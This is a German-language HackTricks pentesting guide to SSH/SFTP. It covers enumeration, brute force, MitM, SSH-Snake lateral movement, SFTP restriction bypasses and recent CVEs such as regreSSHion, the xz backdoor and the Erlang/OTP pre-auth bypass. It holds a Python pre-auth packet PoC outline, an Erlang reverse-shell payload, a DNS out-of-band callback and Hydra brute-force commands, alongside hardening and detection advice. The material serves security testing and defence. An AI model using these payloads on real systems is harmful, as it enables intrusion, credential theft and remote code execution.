22 - Pentesting SSH/SFTP

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Grundlegende Informationen

SSH (Secure Shell or Secure Socket Shell) ist ein Netzwerkprotokoll, das eine sichere Verbindung zu einem Computer über ein unsicheres Netzwerk ermöglicht. Es ist essenziell für die Aufrechterhaltung der Vertraulichkeit und Integrität von Daten beim Zugriff auf entfernte Systeme.

Standardport: 22

22/tcp open  ssh     syn-ack

SSH-Server:

• openSSH – OpenBSD-SSH; wird in BSD‑, Linux‑Distributionen und seit Windows 10 auch in Windows ausgeliefert
• Dropbear – SSH-Implementierung für Umgebungen mit geringen Speicher- und Prozessorressourcen; in OpenWrt ausgeliefert
• PuTTY – SSH-Implementierung für Windows; der Client wird häufig verwendet, der Einsatz des Servers ist seltener
• CopSSH – Implementierung von OpenSSH für Windows

SSH-Bibliotheken (serverseitige Implementierungen):

• libssh – plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll implementiert und Bindings für Python, Perl und R bietet; sie wird von KDE für sftp und von GitHub für die git-SSH-Infrastruktur verwendet
• wolfSSH – SSHv2-Serverbibliothek in ANSI C, ausgelegt für Embedded-, RTOS- und ressourcenbegrenzte Umgebungen
• Apache MINA SSHD – Die Apache SSHD Java-Bibliothek basiert auf Apache MINA
• paramiko – Python-Bibliothek für das SSHv2-Protokoll

Enumeration

Banner Grabbing

nc -vn <IP> 22

Automatisiertes ssh-audit

ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und -Clients.

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

Funktionen:

• Unterstützung für SSH1- und SSH2-Server;
• Analyse der SSH-Client-Konfiguration;
• Banner auslesen, Gerät oder Software und Betriebssystem erkennen, Kompression erkennen;
• Erfassung von Key-Exchange-, Host-Key-, Verschlüsselungs- und Message-Authentication-Code-Algorithmen;
• Ausgabe von Algorithmusinformationen (seit verfügbar, entfernt/deaktiviert, unsicher/schwach/veraltet, etc);
• Ausgabe von Algorithmus-Empfehlungen (anfügen oder entfernen basierend auf erkannter Software-Version);
• Ausgabe von Sicherheitsinformationen (relevante Issues, zugewiesene CVE-Liste, etc);
• Analyse der SSH-Versionskompatibilität basierend auf Algorithmusinformationen;
• Historische Informationen von OpenSSH, Dropbear SSH und libssh;
• Läuft auf Linux und Windows;
• keine Abhängigkeiten

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Öffentlicher SSH-Schlüssel des Servers

ssh-keyscan -t rsa <IP> -p <PORT>

Schwache Verschlüsselungsalgorithmen

Dies wird standardmäßig von nmap entdeckt. Du kannst jedoch auch sslcan oder sslyze verwenden.

Nmap scripts

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Brute force Benutzernamen, Passwörter und private Schlüssel

Username Enumeration

In einigen Versionen von OpenSSH kann man einen timing attack durchführen, um Benutzer zu ermitteln. Du kannst ein metasploit-Modul verwenden, um dies auszunutzen:

msf> use scanner/ssh/ssh_enumusers

Brute force

Einige gängige ssh credentials here und here und unten.

Private Key Brute Force

Wenn du einige ssh private keys kennst, die verwendet werden könnten… probieren wir es. Du kannst das nmap script verwenden:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Oder das MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

Oder verwenden Sie ssh-keybrute.py (native python3, leichtgewichtig und hat Legacy-Algorithmen aktiviert): snowdroppe/ssh-keybrute.

Bekannte badkeys finden Sie hier:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Schwache SSH-Schlüssel / Debian vorhersehbarer PRNG

Einige Systeme haben bekannte Schwächen im Zufallssamen (random seed), der zur Erzeugung kryptografischer Materialien verwendet wird. Dies kann zu einem drastisch reduzierten Schlüsselraum führen, der per Brute-Force angegriffen werden kann. Vorgefertigte Schlüsselsets, die auf von einem schwachen PRNG betroffenen Debian-Systemen erzeugt wurden, sind hier verfügbar: g0tmi1k/debian-ssh.

Sie sollten hier nach gültigen Schlüsseln für die Zielmaschine suchen.

Kerberos / GSSAPI SSO

If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.

Workflow from a Linux attacker host:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Hinweise:

• Wenn Sie sich mit dem falschen Namen verbinden (z. B. kurzer Host, Alias oder falsche Reihenfolge in /etc/hosts), kann es vorkommen, dass Sie die Meldung “Server not found in Kerberos database” erhalten, weil der SPN nicht übereinstimmt.
• crackmapexec ssh --kerberos kann auch Ihr ccache für Kerberos-Auth verwenden.

Standard-Anmeldeinformationen

SSH-MitM

Wenn Sie sich im lokalen Netzwerk befinden und das Opfer eine Verbindung zum SSH-Server mit Benutzername und Passwort herstellen will, können Sie versuchen, einen MitM-Angriff durchzuführen, um diese Zugangsdaten zu stehlen:

Angriffspfad:

• Traffic-Umleitung: Der Angreifer lenkt den Traffic des Opfers auf seine Maschine um und fängt dadurch den Verbindungsversuch zum SSH-Server ab.
• Abfangen und Protokollierung: Die Maschine des Angreifers fungiert als Proxy und erfasst die Login-Daten des Benutzers, indem sie sich als legitimer SSH-Server ausgibt.
• Befehlsausführung und Weiterleitung: Schließlich protokolliert der Server des Angreifers die Zugangsdaten des Benutzers, leitet die Befehle weiter an den echten SSH-Server, führt sie dort aus und sendet die Ergebnisse zurück an den Benutzer, sodass der Vorgang nahtlos und legitim erscheint.

SSH MITM macht genau das oben Beschriebene.

Um das eigentliche MitM durchzuführen und die Anmeldedaten zu erfassen, können Sie Techniken wie ARP spoofing, DNS spoofin oder andere verwenden, die in den Network Spoofing attacks beschrieben sind.

SSH-Snake

Wenn Sie ein Netzwerk mit Hilfe entdeckter SSH private keys auf Systemen durchqueren möchten, wobei jeder private key auf jedem System für neue Hosts verwendet wird, dann ist SSH-Snake das richtige Werkzeug.

SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus:

1. Auf dem aktuellen System nach SSH-Private-Keys suchen,
2. Auf dem aktuellen System Hosts oder Ziele (user@host) finden, bei denen die Private-Keys akzeptiert werden könnten,
3. Versuchen, sich mit allen gefundenen Private-Keys per SSH bei allen Zielen anzumelden,
4. Wenn eine Verbindung zu einem Ziel erfolgreich ist, wiederholt es die Schritte #1–#4 auf dem verbundenen System.

Es ist vollkommen selbstreplizierend und selbstverbreitend – und komplett fileless.

Konfigurationsfehler

Root-Login

Es ist üblich, dass SSH-Server standardmäßig Root-Logins erlauben, was ein erhebliches Sicherheitsrisiko darstellt. Das Deaktivieren des Root-Logins ist ein kritischer Schritt zur Absicherung des Servers. Unautorisierter Zugriff mit administrativen Rechten und Brute-Force-Angriffe können durch diese Änderung abgeschwächt werden.

Um Root-Login in OpenSSH zu deaktivieren:

1. Bearbeiten Sie die SSH-Konfigurationsdatei mit: sudoedit /etc/ssh/sshd_config
2. Ändern Sie die Einstellung von #PermitRootLogin yes zu PermitRootLogin no.
3. Laden Sie die Konfiguration neu mit: sudo systemctl daemon-reload
4. Starten Sie den SSH-Server neu, um die Änderungen anzuwenden: sudo systemctl restart sshd

SFTP Brute Force

• SFTP Brute Force

SFTP-Befehlsausführung

Bei SFTP-Konfigurationen tritt häufig ein Fehler auf: Administratoren wollen oft, dass Benutzer nur Dateien austauschen können, ohne Remote-Shell-Zugriff zu erlauben. Trotz Zuweisung nicht-interaktiver Shells (z. B. /usr/bin/nologin) und Beschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. Benutzer können diese Einschränkungen umgehen, indem sie unmittelbar nach dem Login die Ausführung eines Befehls (z. B. /bin/bash) anfordern, bevor ihre vorgesehene nicht-interaktive Shell greift. Dadurch ist eine unautorisierte Befehlsausführung möglich und die vorgesehenen Schutzmaßnahmen werden unterlaufen.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Hier ist ein Beispiel für eine sichere SFTP-Konfiguration (/etc/ssh/sshd_config – openSSH) für den Benutzer noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Diese Konfiguration erlaubt nur SFTP: sie deaktiviert Shell-Zugriff, indem sie den Startbefehl erzwingt, und deaktiviert TTY-Zugriff, verhindert aber auch jede Art von port forwarding oder tunneling.

SFTP Tunneling

Wenn Sie Zugriff auf einen SFTP-Server haben, können Sie Ihren traffic auch darüber tunneln, zum Beispiel mit dem üblichen port forwarding:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

Der sftp hat den Befehl “symlink”. Deshalb kannst du, wenn du writable rights in einem Ordner hast, symlinks auf andere Ordner/Dateien erstellen. Da du wahrscheinlich innerhalb eines chroot gefangen bist, wird das für dich nicht besonders nützlich sein; wenn du aber den erstellten symlink von einem no-chroot service aus access kannst (zum Beispiel, wenn du den symlink vom web aus erreichst), könntest du die symlinked files über das web öffnen.

Zum Beispiel, um einen symlink von einer neuen Datei “froot” zu “/” zu erstellen:

sftp> symlink / froot

Wenn Sie die Datei “froot” über das Web erreichen können, können Sie das root (“/”)-Verzeichnis des Systems auflisten.

Authentifizierungsmethoden

In Hochsicherheitsumgebungen ist es üblich, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung anstelle der einfachen passwortbasierten Authentifizierung zu erlauben. Häufig werden jedoch stärkere Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiger Fall ist, publickey in der openSSH-Konfiguration zu aktivieren und als Standardmethode festzulegen, aber password nicht zu deaktivieren. Durch die Verwendung des verbose-Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Wenn beispielsweise ein Limit für Authentifizierungsfehler gesetzt ist und Sie nie die Gelegenheit haben, die password-Methode zu erreichen, können Sie die Option PreferredAuthentications verwenden, um diese Methode zu erzwingen.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Die Überprüfung der SSH-Server-Konfiguration ist notwendig, um sicherzustellen, dass nur erwartete Methoden zugelassen sind. Die Verwendung des verbose mode auf dem Client kann helfen, die Wirksamkeit der Konfiguration zu beurteilen.

Konfigurationsdateien

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

Aktuelle kritische Schwachstellen (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 entfernte die async-safe Logging-Guard innerhalb des SIGALRM-Handlers von sshd, wodurch CVE-2006-5051 wieder eingeführt wurde und nicht-authentifizierte Angreifer den glibc-Heap beschädigen können, sobald LoginGraceTime abläuft. Qualys verwertete den Bug für root RCE auf 32‑bit Linux und stellte fest, dass 64‑bit Ziele mit genügend Grooming-Versuchen weiterhin per Brute‑Force angreifbar sind — priorisiere daher Hosts, die bei Banner-Grabs noch diese Versionen preisgeben.

Die Ausnutzung ist zeitbasiert: bombardiere den Daemon mit halb-offenen Sessions, die nie authentifizieren, damit der privilegierte Monitor wiederholt den verwundbaren Signalpfad trifft, während du den Allocator‑Zustand formst.

Operator-Tipps:

• Ermittele Build-Fingerprints mit ssh -V (remote banner) oder ssh -G <target> | grep ^userauths und bestätige, dass LoginGraceTime ungleich null ist.
• Belaste ein Laborziel, indem du kurzlebige Sessions spamst, die keine Authentifizierung anfordern, zum Beispiel:

parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}

• Hosts, die LoginGraceTime 0 erzwingen, berühren den fehlerhaften Codepfad nie — erwarte höchstens einen DoS-Vektor durch Erschöpfung von MaxStartups.

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 und 5.6.1 wurden mit trojanisierten Release-Tarballs ausgeliefert, deren Build-Skripte während des Debian-/RPM-Packagings auf x86-64 Linux ein verstecktes Objekt entpacken. Die Payload missbraucht glibc’s IFUNC-Resolver, um RSA_public_decrypt in sshd zu hooken (wenn systemd-Patches liblzma zum Laden zwingen) und akzeptiert vom Angreifer signierte Pakete für pre-auth Code-Ausführung.

Da die bösartige Logik nur in diesen gepackten Binaries lebt, muss die offensive Validierung prüfen, was das Opfer tatsächlich installiert hat: überprüfe xz --version, rpm -qi xz/dpkg -l xz-utils, vergleiche Hashes von /usr/lib*/liblzma.so* und untersuche ldd /usr/sbin/sshd | grep -E "systemd|lzma", um zu sehen, ob sshd überhaupt die kompromittierte Abhängigkeit zieht. Der Hook bleibt dormant, es sei denn, der Prozesspfad ist /usr/sbin/sshd, daher ist das Rekonstruieren der Distro-Build-Umgebung häufig erforderlich, um die Backdoor im Labor zu reproduzieren.

Authentication State-Machine Bypass (Pre-Auth RCE)

Mehrere SSH-Server-Implementierungen enthalten Logikfehler im Authentifizierungs‑Zustandsautomaten, die es einem Client ermöglichen, connection-protocol-Nachrichten vor Abschluss der Authentifizierung zu senden. Weil der Server nicht überprüft, ob er sich im korrekten Zustand befindet, werden diese Nachrichten so behandelt, als sei der Benutzer vollständig authentifiziert, was zu nicht-authentifizierter Codeausführung oder Sitzungserstellung führen kann.

Auf Protokollebene gehört jede SSH-Nachricht mit einem message code ≥ 80 (0x50) zur connection-Schicht (RFC 4254) und darf erst nach erfolgreicher Authentifizierung akzeptiert werden (RFC 4252). Wenn der Server eine dieser Nachrichten verarbeitet, während er sich noch im SSH_AUTHENTICATION-Zustand befindet, kann der Angreifer sofort einen Channel erstellen und Aktionen anfordern wie command execution, port-forwarding, etc.

Generische Exploit-Schritte

1. Stelle eine TCP-Verbindung zum SSH-Port des Ziels her (gewöhnlich 22, aber andere Dienste können Erlang/OTP auf 2022, 830, 2222… exponieren).
2. Erzeuge ein rohes SSH-Paket:

• 4-Byte packet_length (big-endian)
• 1-Byte message_code ≥ 80 (z. B. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
• Payload, die vom gewählten Nachrichtentyp verstanden wird

3. Sende das/die Paket(e) bevor irgendein Authentifizierungsschritt abgeschlossen ist.
4. Interagiere mit den Server‑APIs, die jetzt pre-auth exponiert sind (command execution, port forwarding, file-system access, …).

Python Proof-of-Concept-Umriss:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

In der Praxis müssen Sie den key-exchange je nach Zielimplementierung durchführen (oder überspringen), aber keine Authentifizierung wird jemals durchgeführt.

Erlang/OTP sshd (CVE-2025-32433)

• Betroffene Versionen: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
• Ursache: Der native Erlang SSH-Daemon validiert den aktuellen Zustand nicht, bevor ssh_connection:handle_msg/2 aufgerufen wird. Daher erreicht jedes Paket mit einem Message-Code 80–255 den Connection-Handler, während die Sitzung sich noch im userauth-Zustand befindet.
• Auswirkung: nicht authentifizierte remote code execution (der Daemon läuft üblicherweise als root auf embedded/OT-Geräten).

Beispiel-payload, die eine reverse shell startet, gebunden an den vom Angreifer kontrollierten Channel:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection kann über DNS durchgeführt werden:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Erkennung & Gegenmaßnahmen:

• SSH-Verkehr prüfen: Jedes Paket mit message code ≥ 80 verwerfen, das vor der Authentifizierung beobachtet wird.
• Erlang/OTP auf 27.3.3 / 26.2.5.11 / 25.3.2.20 oder neuer aktualisieren.
• Zugriff auf Management-Ports (22/2022/830/2222) einschränken – besonders bei OT-Geräten.

Andere betroffene Implementierungen

• libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – akzeptiert ein nicht authentifiziertes SSH_MSG_USERAUTH_SUCCESS, das vom Client gesendet wird, was effektiv der inverse Logikfehler ist.

Die gemeinsame Lehre ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; beim Überprüfen oder beim fuzzing von SSH-Daemons ist besondere Aufmerksamkeit der Durchsetzung der Zustandsmaschine (state-machine enforcement) zu widmen.

Referenzen

• Unit 42 – Erlang/OTP SSH CVE-2025-32433
• SSH hardening guides
• Turgensec SSH hacking guide
• Pentesting Kerberos (88) – client setup and troubleshooting
• 0xdf – HTB: TheFrizz
• Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
• Snyk – The XZ backdoor (CVE-2024-3094)

HackTricks Automatische Befehle

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.